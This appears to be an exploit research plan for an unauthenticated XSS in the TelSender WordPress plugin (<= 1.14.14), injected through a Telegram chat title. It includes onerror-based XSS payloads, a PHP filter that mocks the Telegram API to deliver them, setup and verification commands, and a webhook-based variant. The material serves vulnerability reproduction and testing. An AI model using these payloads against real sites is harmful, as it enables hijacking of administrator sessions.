TelSender <= 1.14.14 - Unauthenticated Stored Cross-Site Scripting via Telegram Chat Title

This research plan focuses on the TelSender plugin vulnerability, where a Telegram chat title controlled by an unauthenticated user (on the Telegram side) can trigger Cross-Site Scripting (XSS) in the WordPress admin dashboard.

1. Vulnerability Summary

The TelSender plugin (versions <= 1.14.14) fails to sanitize Telegram API responses before rendering them in the administrative interface. Specifically, when an administrator uses the "Tested" (Connection Test) functionality, the plugin fetches data from the Telegram API (such as chat titles). An attacker can change a Telegram group/chat title to a malicious script. When the WordPress admin initiates the connection test, the plugin's JavaScript receives the malicious title and injects it into the DOM (typically using a method like .html()), leading to DOM-based XSS.

2. Attack Vector Analysis

• Endpoint: WordPress Admin Settings Page (typically wp-admin/admin.php?page=telsender).
• Vulnerable Action: Clicking the "Tested" / "Check Connection" button.
• Payload Delivery: Via the Telegram API. The attacker modifies a Telegram chat/group title that the bot is associated with.
• Authentication:
  • Payload Injection: Unauthenticated (on the WordPress side; requires access to the Telegram chat).
  • Payload Execution: Requires an Administrator to click the test button.
• Preconditions:
  1. The TelSender plugin must be configured with a valid (or dummy) Telegram Bot Token.
  2. The bot must be a member of a chat where the attacker can change the title.

3. Code Flow (Inferred)

1. Admin UI: The administrator navigates to the TelSender settings and clicks a button (e.g., #telsender-test-btn).
2. AJAX Request: A JavaScript function (likely in assets/js/admin.js or admin/js/telsender.js) sends an AJAX request to admin-ajax.php with an action like telsender_test_connection.
3. Server-Side Fetch: The PHP handler (likely in admin/class-telsender-admin.php) uses wp_remote_get() to call the Telegram API (https://api.telegram.org/bot<token>/getUpdates or getChat).
4. Data Return: The PHP handler receives the Telegram JSON response, extracts the title field from the chat object, and returns it to the JavaScript as part of a JSON response.
5. DOM Sink: The JavaScript success callback takes the returned title and updates a status message or log area:

   // Vulnerable Pattern
   success: function(response) {
       jQuery('#test-result-container').html("Connected to chat: " + response.chat_title); 
   }
   

   The use of .html() instead of .text() allows the payload in chat_title to execute.

4. Nonce Acquisition Strategy

The "Tested" button is located within the Admin Settings page. To perform the AJAX request as an administrator:

1. Identify Page: Use wp_cli to find the plugin's menu slug:
   wp eval "print_r( $GLOBALS['menu'] );" or check the admin_menu hook in the source.
2. Navigate: Use browser_navigate to reach the TelSender settings page.
3. Extract Nonce: Look for localized script data or hidden input fields.
   • Common localization key: telsender_params or ts_ajax.
   • Command: browser_eval("window.telsender_params?.nonce") or browser_eval("jQuery('#telsender_nonce').val()").
   • Note: Since the exploit is triggered by a manual click in the browser, the nonce is handled automatically by the plugin's own scripts. The research goal is to ensure the payload is present when the button is clicked.

5. Exploitation Strategy

Since the test environment cannot connect to the real Telegram API, we will mock the Telegram API response using WordPress filters.

1. Mock Telegram API: Create a small helper plugin or use wp eval to hook into pre_http_request. This hook will intercept calls to api.telegram.org and return a spoofed JSON object containing the XSS payload in the chat title.
2. Configure Plugin: Set a dummy Bot Token in TelSender settings.
3. Trigger XSS:
   • Navigate to the settings page as an Admin.
   • Click the "Tested" button.
   • Observe the execution of the payload (e.g., alert(document.domain)).

Payload:
Chat <img src=x onerror="alert('XSS_SUCCESS_DOMAIN_'+document.domain)">

Mock Script (Conceptual):

add_filter('pre_http_request', function($pre, $args, $url) {
    if (strpos($url, 'api.telegram.org') !== false) {
        return [
            'response' => ['code' => 200, 'message' => 'OK'],
            'body' => json_encode([
                'ok' => true,
                'result' => [
                    [
                        'message' => [
                            'chat' => [
                                'id' => 123,
                                'title' => 'Test Group <img src=x onerror=alert(1)>'
                            ]
                        ]
                    ]
                ]
            ])
        ];
    }
    return $pre;
}, 10, 3);

6. Test Data Setup

1. Plugin Activation: wp plugin activate telsender.
2. Settings Initialization:

   wp option update telsender_settings '{"bot_token":"123456:ABC-DEF", "chat_id":"12345"}' --format=json
   

3. Mock Deployment: Deploy the pre_http_request filter (via a drop-in or wp eval) to simulate the malicious Telegram response.

7. Expected Results

1. The AJAX request to the connection test handler succeeds.
2. The response contains the string: Test Group <img src=x onerror=alert(1)>.
3. The browser's console or an alert box shows 1, confirming that the HTML was rendered directly into the DOM without escaping.

8. Verification Steps

1. Observe DOM: Use browser_eval to check if the malicious <img> tag exists in the result container.
   browser_eval("document.querySelector('#test-result-container img') !== null")
2. Check for Execution: Use a console.log or a global variable in the onerror payload and check for its existence.

9. Alternative Approaches

• Stored XSS via Webhook: If the plugin supports webhooks, send a POST request directly to the webhook endpoint (usually unauthenticated) containing the malicious chat title. If the plugin stores this title in the database (e.g., in a "Recent Logs" option), the XSS will execute whenever the admin views the main plugin page, without needing to click "Tested".
• Search for Sink: Use grep -r ".html(" . in the plugin's assets/ directory to find the exact line in JavaScript responsible for rendering the API response.